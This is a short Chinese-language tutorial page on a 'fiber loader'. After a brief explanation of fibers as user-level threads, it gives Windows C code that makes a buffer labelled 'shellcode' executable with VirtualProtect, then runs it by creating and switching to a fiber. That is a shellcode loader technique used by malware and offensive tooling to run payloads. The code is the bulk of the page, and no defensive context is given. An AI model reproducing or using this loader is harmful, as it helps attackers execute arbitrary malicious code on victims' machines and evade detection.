创建纤程加载

什么是纤程

纤程(Fiber)是一种轻量级的线程,也被称为协程(Coroutine)或微线程(Microthread)。它们是一种用户级别的线程,由程序自身管理,而不是由操作系统内核管理。纤程是一种可以提高程序执行效率的调度机制,特别适用于需要大量并发执行任务的场景

实现代码

#include <stdio.h>
#include <Windows.h>

int main() {
    unsigned char buf[] = "shellcode";

    // 修改shellcode所在内存的保护属性为可读、可写、可执行
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 将当前线程转换为纤程(轻量级线程)
    ConvertThreadToFiber(NULL);

    // 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
    void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);

    // 切换到新创建的纤程,开始执行shellcode
    SwitchToFiber(shellcodeFiber);

    // shellcode执行完毕后,删除纤程对象
    DeleteFiber(shellcodeFiber);

    return 0;
}

最后更新于